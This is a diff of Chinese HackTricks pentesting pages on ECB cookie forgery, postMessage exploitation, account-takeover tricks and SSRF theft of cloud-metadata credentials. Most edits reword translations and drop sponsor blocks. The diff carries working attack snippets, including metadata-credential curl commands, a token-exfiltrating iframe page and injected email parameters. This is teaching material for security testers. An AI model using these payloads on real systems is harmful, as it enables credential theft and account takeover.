2. 获取用户名**rator\x00\x00\x00 XOR t**的签名 = **t'**
|
||||
3. 在cookie中设置值**administrator+t'**(**t'**将是**(rator\x00\x00\x00 XOR t) XOR t**的有效签名 = **rator\x00\x00\x00**)
|
||||
|
||||
**ECB**
|
||||
|
||||
如果 cookie 使用 ECB 加密,则可能会受到攻击。\
|
||||
当你登录时,收到的 cookie 必须始终相同。
|
||||
如果cookie使用ECB加密,则可能会受到攻击。\
|
||||
当你登录时,收到的cookie必须始终相同。
|
||||
|
||||
**如何检测和攻击:**
|
||||
|
||||
创建 2 个几乎相同数据的用户(用户名、密码、电子邮件等),并尝试发现给定 cookie 中的某些模式。
|
||||
创建两个几乎相同数据的用户(用户名、密码、电子邮件等),并尝试发现给定cookie中的某些模式。
|
||||
|
||||
创建一个名为 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 的用户,并检查 cookie 中是否有任何模式(由于 ECB 使用相同的密钥加密每个块,如果用户名被加密,则相同的加密字节可能会出现)。
|
||||
创建一个名为“aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa”的用户,并检查cookie中是否有任何模式(由于ECB使用相同的密钥加密每个块,如果用户名被加密,则相同的加密字节可能会出现)。
|
||||
|
||||
应该有一个模式(与使用的块的大小相同)。因此,知道一堆 "a" 是如何加密的,你可以创建一个用户名:"a"*(块的大小)+"admin"。然后,你可以从 cookie 中删除一个块的 "a" 的加密模式。你将拥有用户名 "admin" 的 cookie。
|
||||
应该有一个模式(与使用的块的大小相同)。因此,知道一堆“a”是如何加密的,你可以创建一个用户名:“a”*(块的大小)+“admin”。然后,你可以从cookie中删除一个块的“a”的加密模式。你将拥有用户名“admin”的cookie。
|
||||
|
||||
## 参考
|
||||
## 参考文献
|
||||
|
||||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,19 +17,6 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 发送 **PostMessage**
|
||||
|
||||
|
@ -65,8 +52,8 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
|||
|
||||
### 攻击 iframe 和 **targetOrigin** 中的通配符
|
||||
|
||||
正如在 [**这份报告**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) 中所解释的,如果你发现一个可以被 **iframed** 的页面(没有 `X-Frame-Header` 保护)并且通过 **postMessage** 使用 **通配符** (\*) 发送 **敏感** 消息,你可以 **修改** **iframe** 的 **来源** 并将 **敏感** 消息 **泄露** 到一个由你控制的域。\
|
||||
注意,如果页面可以被 iframed,但 **targetOrigin** 被 **设置为一个 URL 而不是通配符**,这个 **技巧将不起作用**。
|
||||
正如在 [**这份报告**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) 中所解释的,如果你发现一个可以被 **iframed** 的页面(没有 `X-Frame-Header` 保护)并且该页面通过 **postMessage** 使用 **通配符** (\*) 发送 **敏感** 消息,你可以 **修改** **iframe** 的 **来源** 并将 **敏感** 消息 **泄露** 到一个由你控制的域。\
|
||||
请注意,如果页面可以被 iframed,但 **targetOrigin** 被 **设置为一个 URL 而不是通配符**,这个 **技巧将不起作用**。
|
||||
```markup
|
||||
<html>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
|
@ -104,7 +91,7 @@ return;
|
|||
|
||||
![](<../../.gitbook/assets/image (618) (1).png>)
|
||||
|
||||
* **在** 浏览器的开发者工具中转到 _Elements --> Event Listeners_
|
||||
* **在** 浏览器的开发者工具中**转到** _Elements --> Event Listeners_
|
||||
|
||||
![](<../../.gitbook/assets/image (396).png>)
|
||||
|
||||
|
@ -112,7 +99,7 @@ return;
|
|||
|
||||
### 来源检查绕过
|
||||
|
||||
* **`event.isTrusted`** 属性被认为是安全的,因为它仅对由真实用户操作生成的事件返回 `True`。尽管如果正确实现,绕过它是具有挑战性的,但它在安全检查中的重要性是显著的。
|
||||
* **`event.isTrusted`** 属性被认为是安全的,因为它仅对由真实用户操作生成的事件返回 `True`。虽然如果正确实现很难绕过,但它在安全检查中的重要性显著。
|
||||
* 在 PostMessage 事件中使用 **`indexOf()`** 进行来源验证可能容易被绕过。一个说明此漏洞的示例是:
|
||||
|
||||
```javascript
|
||||
|
@ -160,7 +147,7 @@ result.message; // "'"<b>\"
|
|||
|
||||
### 绕过 e.source
|
||||
|
||||
可以检查消息是否来自脚本正在监听的同一窗口(特别有趣的是**来自浏览器扩展的内容脚本**检查消息是否来自同一页面):
|
||||
可以检查消息是否来自脚本正在监听的同一窗口(特别有趣的是**来自浏览器扩展的内容脚本**,以检查消息是否来自同一页面):
|
||||
```javascript
|
||||
// If it’s not, return immediately.
|
||||
if( received_message.source !== window ) {
|
||||
|
@ -177,7 +164,7 @@ return;
|
|||
|
||||
### X-Frame-Header 绕过
|
||||
|
||||
为了理想地执行这些攻击,您将能够**将受害者网页**放入一个`iframe`中。但一些头部如`X-Frame-Header`可以**阻止**这种**行为**。\
|
||||
为了理想地执行这些攻击,您将能够**将受害者网页**放入`iframe`中。但一些头部如`X-Frame-Header`可以**阻止**这种**行为**。\
|
||||
在这些情况下,您仍然可以使用一种不太隐蔽的攻击。您可以打开一个新标签页,访问易受攻击的网络应用程序并与之通信:
|
||||
```markup
|
||||
<script>
|
||||
|
@ -235,18 +222,6 @@ setTimeout(get_code, 2000);
|
|||
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||||
* 练习: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -256,7 +231,7 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,19 +15,6 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 注册接管
|
||||
|
||||
|
@ -45,7 +32,7 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
### 用户名枚举
|
||||
|
||||
检查您是否可以判断用户名是否已在应用程序中注册。
|
||||
检查您是否可以确定用户名是否已在应用程序中注册。
|
||||
|
||||
### 密码策略
|
||||
|
||||
|
@ -81,7 +68,7 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
## **密码重置接管**
|
||||
|
||||
### 通过引荐者泄露密码重置令牌 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||
### 通过引荐人泄露密码重置令牌 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||
|
||||
1. 请求将密码重置到您的电子邮件地址
|
||||
2. 点击密码重置链接
|
||||
|
@ -142,7 +129,7 @@ email=victim@mail.com|hacker@mail.com
|
|||
|
||||
1. 使用API/UI触发特定电子邮件的密码重置请求,例如:test@mail.com
|
||||
2. 检查服务器响应并查看`resetToken`
|
||||
3. 然后在URL中使用令牌,例如`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
3. 然后在URL中使用令牌,如`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
|
||||
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
|
||||
|
@ -182,12 +169,12 @@ Hackerone 报告利用此漏洞\
|
|||
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
||||
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
||||
|
||||
### 通过 CSRF 进行账户接管 <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||
### 通过 CSRF 实现账户接管 <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||
|
||||
1. 创建 CSRF 的有效载荷,例如:“用于密码更改的自动提交 HTML 表单”
|
||||
2. 发送有效载荷
|
||||
|
||||
### 通过 JWT 进行账户接管 <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||
### 通过 JWT 实现账户接管 <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||
|
||||
JSON Web Token 可能用于验证用户。
|
||||
|
||||
|
@ -198,33 +185,22 @@ JSON Web Token 可能用于验证用户。
|
|||
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **泄露**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,21 +15,13 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## AWS
|
||||
|
||||
### 在 AWS EC2 环境中滥用 SSRF
|
||||
|
||||
**元数据** 端点可以从任何 EC2 机器内部访问,并提供有关它的有趣信息。可以通过以下 URL 访问:`http://169.254.169.254` ([有关元数据的信息在这里](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
||||
**元数据** 端点可以从任何 EC2 机器内部访问,并提供有关它的有趣信息。它可以通过以下 URL 访问:`http://169.254.169.254` ([有关元数据的信息在这里](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
||||
|
||||
元数据端点有 **2 个版本**。**第一个** 版本允许通过 **GET** 请求 **访问** 端点(因此任何 **SSRF 都可以利用它**)。对于 **版本 2**,[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html),您需要通过发送带有 **HTTP 头** 的 **PUT** 请求来请求 **令牌**,然后使用该令牌通过另一个 HTTP 头访问元数据(因此用 SSRF **滥用起来更复杂**)。
|
||||
元数据端点有 **2 个版本**。**第一个** 版本允许通过 **GET** 请求 **访问** 该端点(因此任何 **SSRF 都可以利用它**)。对于 **版本 2**,[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html),您需要通过发送带有 **HTTP 头** 的 **PUT** 请求来请求 **令牌**,然后使用该令牌通过另一个 HTTP 头访问元数据(因此用 SSRF 滥用它 **更复杂**)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,如果 EC2 实例强制执行 IMDSv2,[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html),**PUT 请求的响应** 将具有 **跳数限制为 1**,使得无法从 EC2 实例内部的容器访问 EC2 元数据。
|
||||
|
@ -101,9 +93,9 @@ eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance";
|
|||
|
||||
您还可以在以下地址检查公共**EC2安全凭证**:[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
然后,您可以**使用这些凭证与AWS CLI**。这将允许您执行**该角色具有权限**的任何操作。
|
||||
然后,您可以**使用这些凭证与AWS CLI**。这将允许您执行**该角色有权限执行的任何操作**。
|
||||
|
||||
要利用新的凭证,您需要创建一个新的AWS配置文件,如下所示:
|
||||
要利用新凭证,您需要创建一个新的AWS配置文件,如下所示:
|
||||
```
|
||||
[profilename]
|
||||
aws_access_key_id = ASIA6GG71[...]
|
||||
|
@ -151,7 +143,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
|||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
我们然后从API中获取`AccessKeyId`、`SecretAccessKey`和`Token`。
|
||||
我们然后从 API 中检索 `AccessKeyId`、`SecretAccessKey` 和 `Token`。
|
||||
```
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
|
@ -161,7 +153,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
|
|||
|
||||
## GCP <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
您可以[**在这里找到关于元数据端点的文档**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)。
|
||||
您可以[**在这里找到有关元数据端点的文档**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)。
|
||||
|
||||
### Google Cloud 的 SSRF URL <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
|
@ -256,7 +248,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/
|
|||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
为了**使用被提取的服务账户令牌**,你可以这样做:
|
||||
为了**使用被外泄的服务账户令牌**,你可以直接执行:
|
||||
```bash
|
||||
# Via env vars
|
||||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||||
|
@ -327,7 +319,7 @@ done
|
|||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
没有像 AWS 角色或 GCP 服务账户这样的东西,因此不要指望找到元数据机器人凭据
|
||||
没有像 AWS 角色或 GCP 服务账户这样的东西,所以不要指望找到元数据机器人凭据
|
||||
{% endhint %}
|
||||
|
||||
Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
|
@ -477,7 +469,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
|
|||
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,在IBM中,默认情况下元数据是未启用的,因此即使您在IBM云VM内部,也可能无法访问它
|
||||
请注意,在IBM中,默认情况下元数据未启用,因此即使您在IBM云虚拟机内,也可能无法访问它
|
||||
{% endhint %}
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -510,7 +502,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
|
|||
|
||||
## Packetcloud
|
||||
|
||||
要访问 Packetcloud 的元数据,可以在以下位置找到文档:[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
要访问Packetcloud的元数据,可以在以下位置找到文档:[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
|
||||
## OpenStack/RackSpace
|
||||
|
||||
|
@ -526,7 +518,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
|
|||
|
||||
## Oracle Cloud
|
||||
|
||||
Oracle Cloud 提供了一系列端点以访问各种元数据方面:
|
||||
Oracle Cloud提供了一系列端点以访问各种元数据方面:
|
||||
|
||||
* `http://192.0.0.192/latest/`
|
||||
* `http://192.0.0.192/latest/user-data/`
|
||||
|
@ -535,7 +527,7 @@ Oracle Cloud 提供了一系列端点以访问各种元数据方面:
|
|||
|
||||
## Alibaba
|
||||
|
||||
Alibaba 提供了访问元数据的端点,包括实例和镜像 ID:
|
||||
Alibaba提供了访问元数据的端点,包括实例和镜像ID:
|
||||
|
||||
* `http://100.100.100.200/latest/meta-data/`
|
||||
* `http://100.100.100.200/latest/meta-data/instance-id`
|
||||
|
@ -543,44 +535,38 @@ Alibaba 提供了访问元数据的端点,包括实例和镜像 ID:
|
|||
|
||||
## Kubernetes ETCD
|
||||
|
||||
Kubernetes ETCD 可以保存 API 密钥、内部 IP 地址和端口。访问示例如下:
|
||||
Kubernetes ETCD可以保存API密钥、内部IP地址和端口。访问示例如下:
|
||||
|
||||
* `curl -L http://127.0.0.1:2379/version`
|
||||
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||||
|
||||
## Docker
|
||||
|
||||
Docker 元数据可以在本地访问,以下是获取容器和镜像信息的示例:
|
||||
Docker元数据可以在本地访问,以下是获取容器和镜像信息的示例:
|
||||
|
||||
* 通过 Docker 套接字访问容器和镜像元数据的简单示例:
|
||||
* 通过Docker套接字访问容器和镜像元数据的简单示例:
|
||||
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
* 在容器内,使用 curl 和 Docker 套接字:
|
||||
* 在容器内,使用curl和Docker套接字:
|
||||
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||||
|
||||
## Rancher
|
||||
|
||||
可以使用以下方式访问 Rancher 的元数据:
|
||||
可以使用以下方式访问Rancher的元数据:
|
||||
|
||||
* `curl http://rancher-metadata/<version>/<path>`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,20 +9,12 @@
|
|||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass)或**关注**我们在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### 本地主机
|
||||
```bash
|
||||
# Localhost
|
||||
|
